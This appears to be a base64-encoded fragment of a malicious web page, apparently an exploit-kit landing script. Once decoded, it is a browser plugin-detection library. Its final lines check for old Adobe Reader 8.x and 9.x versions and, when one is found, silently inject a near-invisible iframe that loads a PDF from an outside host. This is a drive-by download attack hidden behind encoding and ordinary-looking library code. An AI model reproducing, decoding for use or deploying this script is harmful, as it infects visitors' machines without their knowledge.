b24oYyl7dmFyIGI9dGhpcyxhPWIuaXNBcnJheShjKT9jLmxlbmd0aDotMTtpZihhPjAmJmIuaXNGdW5jKGNbMF0pKXtjWzBdKGIsYT4xP2NbMV06MCxhPjI/Y1syXTowLGE+Mz9jWzNdOjApfWVsc2V7aWYoYi5pc0Z1bmMoYykpe2MoYil9fX0sZ2V0VmVyc2lvbkRlbGltaXRlcjoiLCIsJCRnZXRWZXJzaW9uOmZ1bmN0aW9uKGEpe3JldHVybiBmdW5jdGlvbihnLGQsYyl7dmFyIGU9YS5pbml0KGcpLGYsYixoPXt9O2lmKGUuc3RhdHVzPDApe3JldHVybiBudWxsfTtmPWUucGx1Z2luO2lmKGYuZ2V0VmVyc2lvbkRvbmUhPTEpe2YuZ2V0VmVyc2lvbihudWxsLGQsYyk7aWYoZi5nZXRWZXJzaW9uRG9uZT09PW51bGwpe2YuZ2V0VmVyc2lvbkRvbmU9MX19YS5jbGVhbnVwKCk7Yj0oZi52ZXJzaW9ufHxmLnZlcnNpb24wKTtiPWI/Yi5yZXBsYWNlKGEuc3BsaXROdW1SZWd4LGEuZ2V0VmVyc2lvbkRlbGltaXRlcik6YjtyZXR1cm4gYn19LGNsZWFudXA6ZnVuY3Rpb24oKXt9LGFkZFdpbkV2ZW50OmZ1bmN0aW9uKGQsYyl7dmFyIGU9dGhpcyxhPXdpbmRvdyxiO2lmKGUuaXNGdW5jKGMpKXtpZihhLmFkZEV2ZW50TGlzdGVuZXIpe2EuYWRkRXZlbnRMaXN0ZW5lcihkLGMsZmFsc2UpfWVsc2V7aWYoYS5hdHRhY2hFdmVudCl7YS5hdHRhY2hFdmVudCgib24iK2QsYyl9ZWxzZXtiPWFbIm9uIitkXTthWyJvbiIrZF09ZS53aW5IYW5kbGVyKGMsYil9fX19LHdpbkhhbmRsZXI6ZnVuY3Rpb24oZCxjKXtyZXR1cm4gZnVuY3Rpb24oKXtkKCk7aWYodHlwZW9mIGM9PSJmdW5jdGlvbiIpe2MoKX19fSxXTGZ1bmNzMDpbXSxXTGZ1bmNzOltdLHJ1bldMZnVuY3M6ZnVuY3Rpb24oYSl7dmFyIGI9e307YS53aW5Mb2FkZWQ9dHJ1ZTthLmNhbGxBcnJheShhLldMZnVuY3MwKTthLmNhbGxBcnJheShhLldMZnVuY3MpO2lmKGEub25Eb25lRW1wdHlEaXYpe2Eub25Eb25lRW1wdHlEaXYoKX19LHdpbkxvYWRlZDpmYWxzZSwkJG9uV2luZG93TG9hZGVkOmZ1bmN0aW9uKGEpe3JldHVybiBmdW5jdGlvbihiKXtpZihhLndpbkxvYWRlZCl7YS5jYWxsKGIpfWVsc2V7YS5mUHVzaChiLGEuV0xmdW5jcyl9fX0sZGl2Om51bGwsZGl2SUQ6IlNhaWdvbiIsZGl2V2lkdGg6NTAscGx1Z2luU2l6ZToxLGVtcHR5RGl2OmZ1bmN0aW9uKCl7dmFyIGQ9dGhpcyxiLGgsYyxhLGYsZztpZihkLmRpdiYmZC5kaXYuY2hpbGROb2Rlcyl7Zm9yKGI9ZC5kaXYuY2hpbGROb2Rlcy5sZW5ndGgtMTtiPj0wO2ItLSl7Yz1kLmRpdi5jaGlsZE5vZGVzW2JdO2lmKGMmJmMuY2hpbGROb2Rlcyl7Zm9yKGg9Yy5jaGlsZE5vZGVzLmxlbmd0aC0xO2g+PTA7aC0tKXtnPWMuY2hpbGROb2Rlc1toXTt0cnl7Yy5yZW1vdmVDaGlsZChnKX1jYXRjaChmKXt9fX1pZihjKXt0cnl7ZC5kaXYucmVtb3ZlQ2hpbGQoYyl9Y2F0Y2goZil7fX19fWlmKCFkLmRpdil7YT1kb2N1bWVudC5nZXRFbGVtZW50QnlJZChkLmRpdklEKTtpZihhKXtkLmRpdj1hfX1pZihkLmRpdiYmZC5kaXYucGFyZW50Tm9kZSl7dHJ5e2QuZGl2LnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQoZC5kaXYpfWNhdGNoKGYpe31kLmRpdj1udWxsfX0sRE9ORWZ1bmNzOltdLG9uRG9uZUVtcHR5RGl2OmZ1bmN0aW9uKCl7dmFyIGM9dGhpcyxhLGI7aWYoIWMud2luTG9hZGVkKXtyZXR1cm59aWYoYy5XTGZ1bmNzJiZjLldMZnVuY3MubGVuZ3RoJiZjLldMZnVuY3NbYy5XTGZ1bmNzLmxlbmd0aC0xXSE9PW51bGwpe3JldHVybn1mb3IoYSBpbiBjKXtiPWNbYV07aWYoYiYmYi5mdW5jcyl7aWYoYi5PVEY9PTMpe3JldHVybn1pZihiLmZ1bmNzLmxlbmd0aCYmYi5mdW5jc1tiLmZ1bmNzLmxlbmd0aC0xXSE9PW51bGwpe3JldHVybn19fWZvcihhPTA7YTxjLkRPTkVmdW5jcy5sZW5ndGg7YSsrKXtjLmNhbGxBcnJheShjLkRPTkVmdW5jcyl9Yy5lbXB0eURpdigpfSxnZXRXaWR0aDpmdW5jdGlvbihjKXtpZihjKXt2YXIgYT1jLnNjcm9sbFdpZHRofHxjLm9mZnNldFdpZHRoLGI9dGhpcztpZihiLmlzTnVtKGEpKXtyZXR1cm4gYX19cmV0dXJuIC0xfSxnZXRUYWdTdGF0dXM6ZnVuY3Rpb24obSxnLGEsYil7dmFyIGM9dGhpcyxmLGs9bS5zcGFuLGw9Yy5nZXRXaWR0aChrKSxoPWEuc3BhbixqPWMuZ2V0V2lkdGgoaCksZD1nLnNwYW4saT1jLmdldFdpZHRoKGQpO2lmKCFrfHwhaHx8IWR8fCFjLmdldERPTW9iaihtKSl7cmV0dXJuIC0yfWlmKGo8aXx8bDwwfHxqPDB8fGk8MHx8aTw9Yy5wbHVnaW5TaXplfHxjLnBsdWdpblNpemU8MSl7cmV0dXJuIDB9aWYobD49aSl7cmV0dXJuIC0xfXRyeXtpZihsPT1jLnBsdWdpblNpemUmJighYy5pc0lFfHxjLmdldERPTW9iaihtKS5yZWFkeVN0YXRlPT00KSl7aWYoIW0ud2luTG9hZGVkJiZjLndpbkxvYWRlZCl7cmV0dXJuIDF9aWYobS53aW5Mb2FkZWQmJmMuaXNOdW0oYikpe2lmKCFjLmlzTnVtKG0uY291bnQpKXttLmNvdW50PWJ9aWYoYi1tLmNvdW50Pj0xMCl7cmV0dXJuIDF9fX19Y2F0Y2goZil7fXJldHVybiAwfSxnZXRET01vYmo6ZnVuY3Rpb24oZyxhKXt2YXIgZixkPXRoaXMsYz1nP2cuc3BhbjowLGI9YyYmYy5maXJzdENoaWxkPzE6MDt0cnl7aWYoYiYmYSl7ZC5kaXYuZm9jdXMoKX19Y2F0Y2goZil7fXJldHVybiBiP2MuZmlyc3RDaGlsZDpudWxsfSxzZXRTdHlsZTpmdW5jdGlvbihiLGcpe3ZhciBmPWIuc3R5bGUsYSxkLGM9dGhpcztpZihmJiZnKXtmb3IoYT0wO2E8Zy5sZW5ndGg7YT1hKzIpe3RyeXtmW2dbYV1dPWdbYSsxXX1jYXRjaChkKXt9fX19LGluc2VydERpdkluQm9keTpmdW5jdGlvbihhLGkpe3ZhciBoLGY9dGhpcyxiPSJwZDMzOTkzMzk5IixkPW51bGwsaj1pP3dpbmRvdy50b3AuZG9jdW1lbnQ6d2luZG93LmRvY3VtZW50LGM9IjwiLGc9KGouZ2V0RWxlbWVudHNCeVRhZ05hbWUoImJvZHkiKVswXXx8ai5ib2R5KTtpZighZyl7dHJ5e2oud3JpdGUoYysnZGl2IGlkPSInK2IrJyI+bycrYysiL2Rpdj4iKTtkPWouZ2V0RWxlbWVudEJ5SWQoYil9Y2F0Y2goaCl7fX1nPShqLmdldEVsZW1lbnRzQnlUYWdOYW1lKCJib2R5IilbMF18fGouYm9keSk7aWYoZyl7aWYoZy5maXJzdENoaWxkJiZmLmlzRGVmaW5lZChnLmluc2VydEJlZm9yZSkpe2cuaW5zZXJ0QmVmb3JlKGEsZy5maXJzdENoaWxkKX1lbHNle2cuYXBwZW5kQ2hpbGQoYSl9aWYoZCl7Zy5yZW1vdmVDaGlsZChkKX19ZWxzZXt9fSxpbnNlcnRIVE1MOmZ1bmN0aW9uKGcsYixoLGEsbCl7dmFyIG0sbj1kb2N1bWVudCxrPXRoaXMscSxwPW4uY3JlYXRlRWxlbWVudCgic3BhbiIpLG8saixmPSI8Ijt2YXIgYz1bIm91dGxpbmVTdHlsZSIsIm5vbmUiLCJib3JkZXJTdHlsZSIsIm5vbmUiLCJwYWRkaW5nIiwiMHB4IiwibWFyZ2luIiwiMHB4IiwidmlzaWJpbGl0eSIsInZpc2libGUiXTt2YXIgaT0ib3V0bGluZS1zdHlsZTpub25lO2JvcmRlci1zdHlsZTpub25lO3BhZGRpbmc6MHB4O21hcmdpbjowcHg7dmlzaWJpbGl0eTp2aXNpYmxlOyI7aWYoIWsuaXNEZWZpbmVkKGEpKXthPSIifWlmKGsuaXNTdHJpbmcoZykmJigvW15cc10vKS50ZXN0KGcpKXtnPWcudG9Mb3dlckNhc2UoKS5yZXBsYWNlKC9ccy9nLCIiKTtxPWYrZysnIHdpZHRoPSInK2sucGx1Z2luU2l6ZSsnIiBoZWlnaHQ9Iicray5wbHVnaW5TaXplKyciICc7cSs9J3N0eWxlPSInK2krJ2Rpc3BsYXk6aW5saW5lOyIgJztmb3Iobz0wO288Yi5sZW5ndGg7bz1vKzIpe2lmKC9bXlxzXS8udGVzdChiW28rMV0pKXtxKz1iW29dKyc9IicrYltvKzFdKyciICd9fXErPSI+Ijtmb3Iobz0wO288aC5sZW5ndGg7bz1vKzIpe2lmKC9bXlxzXS8udGVzdChoW28rMV0pKXtxKz1mKydwYXJhbSBuYW1lPSInK2hbb10rJyIgdmFsdWU9IicraFtvKzFdKyciIC8+J319cSs9YStmKyIvIitnKyI+In1lbHNle3E9YX1pZighay5kaXYpe2o9bi5nZXRFbGVtZW50QnlJZChrLmRpdklEKTtpZihqKXtrLmRpdj1qfWVsc2V7ay5kaXY9bi5jcmVhdGVFbGVtZW50KCJkaXYiKTtrLmRpdi5pZD1rLmRpdklEfWsuc2V0U3R5bGUoay5kaXYsYy5jb25jYXQoWyJ3aWR0aCIsay5kaXZXaWR0aCsicHgiLCJoZWlnaHQiLChrLnBsdWdpblNpemUrMykrInB4IiwiZm9udFNpemUiLChrLnBsdWdpblNpemUrMykrInB4IiwibGluZUhlaWdodCIsKGsucGx1Z2luU2l6ZSszKSsicHgiLCJ2ZXJ0aWNhbEFsaWduIiwiYmFzZWxpbmUiLCJkaXNwbGF5IiwiYmxvY2siXSkpO2lmKCFqKXtrLnNldFN0eWxlKGsuZGl2LFsicG9zaXRpb24iLCJhYnNvbHV0ZSIsInJpZ2h0IiwiMHB4IiwidG9wIiwiMHB4Il0pO2suaW5zZXJ0RGl2SW5Cb2R5KGsuZGl2KX19aWYoay5kaXYmJmsuZGl2LnBhcmVudE5vZGUpe2suc2V0U3R5bGUocCxjLmNvbmNhdChbImZvbnRTaXplIiwoay5wbHVnaW5TaXplKzMpKyJweCIsImxpbmVIZWlnaHQiLChrLnBsdWdpblNpemUrMykrInB4IiwidmVydGljYWxBbGlnbiIsImJhc2VsaW5lIiwiZGlzcGxheSIsImlubGluZSJdKSk7dHJ5e3AuaW5uZXJIVE1MPXF9Y2F0Y2gobSl7fTt0cnl7ay5kaXYuYXBwZW5kQ2hpbGQocCl9Y2F0Y2gobSl7fTtyZXR1cm57c3BhbjpwLHdpbkxvYWRlZDprLndpbkxvYWRlZCx0YWdOYW1lOmcsb3V0ZXJIVE1MOnF9fXJldHVybntzcGFuOm51bGwsd2luTG9hZGVkOmsud2luTG9hZGVkLHRhZ05hbWU6IiIsb3V0ZXJIVE1MOnF9fSxQbHVnaW5zOnthZG9iZXJlYWRlcjp7bWltZVR5cGU6ImFwcGxpY2F0aW9uL3BkZiIsbmF2UGx1Z2luT2JqOm51bGwscHJvZ0lEOlsiQWNyb1BERi5QREYiLCJQREYuUGRmQ3RybCJdLGNsYXNzSUQ6ImNsc2lkOkNBOEE5NzgwLTI4MEQtMTFDRi1BMjRELTQ0NDU1MzU0MDAwMCIsSU5TVEFMTEVEOnt9LHBsdWdpbkhhc01pbWVUeXBlOmZ1bmN0aW9uKGQsYyxmKXt2YXIgYj10aGlzLGU9Yi4kLGE7Zm9yKGEgaW4gZCl7aWYoZFthXSYmZFthXS50eXBlJiZkW2FdLnR5cGU9PWMpe3JldHVybiAxfX1pZihlLmdldE1pbWVFbmFibGVkUGx1Z2luKGMsZikpe3JldHVybiAxfXJldHVybiAwfSxnZXRWZXJzaW9uOmZ1bmN0aW9uKGwsail7dmFyIGc9dGhpcyxkPWcuJCxpLGYsbSxuLGI9bnVsbCxoPW51bGwsaz1nLm1pbWVUeXBlLGEsYztpZihkLmlzU3RyaW5nKGopKXtqPWoucmVwbGFjZSgvXHMvZywiIik7aWYoail7az1qfX1lbHNle2o9bnVsbH1pZihkLmlzRGVmaW5lZChnLklOU1RBTExFRFtrXSkpe2cuaW5zdGFsbGVkPWcuSU5TVEFMTEVEW2tdO3JldHVybn1pZighZC5pc0lFKXthPSJBZG9iZS4qUERGLipQbHVnLT9pbnxBZG9iZS4qQWNyb2JhdC4qUGx1Zy0/aW58QWRvYmUuKlJlYWRlci4qUGx1Zy0/aW4iO2lmKGcuZ2V0VmVyc2lvbkRvbmUhPT0wKXtnLmdldFZlcnNpb25Eb25lPTA7Yj1kLmdldE1pbWVFbmFibGVkUGx1Z2luKGcubWltZVR5cGUsYSk7aWYoIWope249Yn1pZighYiYmZC5oYXNNaW1lVHlwZShnLm1pbWVUeXBlKSl7Yj1kLmZpbmROYXZQbHVnaW4oYSwwKX1pZihiKXtnLm5hdlBsdWdpbk9iaj1iO2g9ZC5nZXROdW0oYi5kZXNjcmlwdGlvbil8fGQuZ2V0TnVtKGIubmFtZSk7aD1kLmdldFBsdWdpbkZpbGVWZXJzaW9uKGIsaCk7aWYoIWgmJmQuT1M9PTEpe2lmKGcucGx1Z2luSGFzTWltZVR5cGUoYiwiYXBwbGljYXRpb24vdm5kLmFkb2JlLnBkZnhtbCIsYSkpe2g9IjkifWVsc2V7aWYoZy5wbHVnaW5IYXNNaW1lVHlwZShiLCJhcHBsaWNhdGlvbi92bmQuYWRvYmUueC1tYXJzIixhKSl7aD0iOCJ9fX19fWVsc2V7aD1nLnZlcnNpb259aWYoIWQuaXNEZWZpbmVkKG4pKXtuPWQuZ2V0TWltZUVuYWJsZWRQbHVnaW4oayxhKX1nLmluc3RhbGxlZD1uJiZoPzE6KG4/MDooZy5uYXZQbHVnaW5PYmo/LTAuMjotMSkpfWVsc2V7Yj1kLmdldEFYTyhnLnByb2dJRFswXSl8fGQuZ2V0QVhPKGcucHJvZ0lEWzFdKTtjPS89XHMqKFtcZFwuXSspL2c7dHJ5e2Y9KGJ8fGQuZ2V0RE9Nb2JqKGQuaW5zZXJ0SFRNTCgib2JqZWN0IixbImNsYXNzaWQiLGcuY2xhc3NJRF0sWyJzcmMiLCIiXSwiIixnKSkpLkdldFZlcnNpb25zKCk7Zm9yKG09MDttPDU7bSsrKXtpZihjLnRlc3QoZikmJighaHx8UmVnRXhwLiQxPmgpKXtoPVJlZ0V4cC4kMX19fWNhdGNoKGkpe31nLmluc3RhbGxlZD1oPzE6KGI/MDotMSl9aWYoIWcudmVyc2lvbil7Zy52ZXJzaW9uPWQuZm9ybWF0TnVtKGgpfWcuSU5TVEFMTEVEW2tdPWcuaW5zdGFsbGVkfX0seno6MH19OwoKCQlTYWlnb24uaW5pdFNjcmlwdCgpOwoKCQlsbGxsbWc9U2FpZ29uLmdldFZlcnNpb24oIkFkb2JlUmVhZGVyIik7CgoJCWlmKGxsbGxtZykKCgkJewoKCQkJbGxsbG1nPWxsbGxtZy5zcGxpdCgnLCcpOwoKCQkJdmFyIGF0dHcgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJkaXYiKTsKCgkJCXlhcGEgPSAiPGlmcmFtZSB3aWR0aD0nODAnIGhlaWdodD0nODAnIHNyYz0naHR0cDovL2suLi5jb250ZW50LWF2YWlsYWJsZS10by1hdXRob3Itb25seS4uLm8uY29tLzk4NzY1LnBkZicgZnJhbWVib3JkZXI9JzAnIHNjcm9sbGluZz0nbm8nPjwvaWZyYW1lPiI7CgoJCQlpZiAoKGxsbGxtZ1swXT09OCAmJiBsbGxsbWdbMV08PTIpfHwobGxsbG1nWzBdPT05ICYmIGxsbGxtZ1sxXTw9MykpIAoKCQkJewoKCQkJICAgIAoKCQkJICAgIGF0dHcuaW5uZXJIVE1MID0geWFwYTsKCgkJCQlkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGF0dHcpOwkKCgkJCX0KCgkJfQoKCQk8L3NjcmlwdD48L2JvZHk+PC9odG1sPg==